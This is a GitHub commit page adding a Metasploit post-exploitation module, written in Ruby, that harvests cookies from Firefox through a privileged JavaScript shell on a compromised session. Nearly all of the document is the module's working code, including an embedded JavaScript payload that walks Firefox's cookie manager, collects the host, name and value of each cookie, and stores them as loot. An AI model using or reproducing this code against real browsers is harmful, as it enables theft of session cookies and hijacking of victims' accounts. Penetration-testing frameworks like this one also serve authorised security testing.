-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #3146 - Firefox Gather Cookies from Privileged Javascript Shell
- Loading branch information
Showing
1 changed file
with
67 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
## | ||
# This module requires Metasploit: http//metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'json' | ||
require 'msf/core' | ||
require 'msf/core/payload/firefox' | ||
|
||
class Metasploit3 < Msf::Post | ||
|
||
include Msf::Payload::Firefox | ||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Firefox Gather Cookies from Privileged Javascript Shell', | ||
'Description' => %q{ | ||
This module allows collection of cookies from a Firefox Privileged Javascript Shell. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ 'joev' ], | ||
'DisclosureDate' => 'Mar 26 2014' | ||
)) | ||
|
||
register_options([ | ||
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) | ||
], self.class) | ||
end | ||
|
||
def run | ||
print_status "Running the privileged javascript..." | ||
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") | ||
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) | ||
if results.present? | ||
begin | ||
cookies = JSON.parse(results) | ||
file = store_loot("firefox.cookies.json", "text/json", rhost, results) | ||
print_good("Saved #{cookies.length} cookies to #{file}") | ||
rescue JSON::ParserError => e | ||
print_warning(results) | ||
end | ||
end | ||
end | ||
|
||
def js_payload | ||
%Q| | ||
(function(send){ | ||
try { | ||
var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"] | ||
.getService(Components.interfaces.nsICookieManager); | ||
var cookies = []; | ||
var iter = cookieManager.enumerator; | ||
while (iter.hasMoreElements()){ | ||
var cookie = iter.getNext(); | ||
if (cookie instanceof Components.interfaces.nsICookie){ | ||
cookies.push({host:cookie.host, name:cookie.name, value:cookie.value}) | ||
} | ||
} | ||
send(JSON.stringify(cookies)); | ||
} catch (e) { | ||
send(e); | ||
} | ||
})(send); | ||
|.strip | ||
end | ||
end |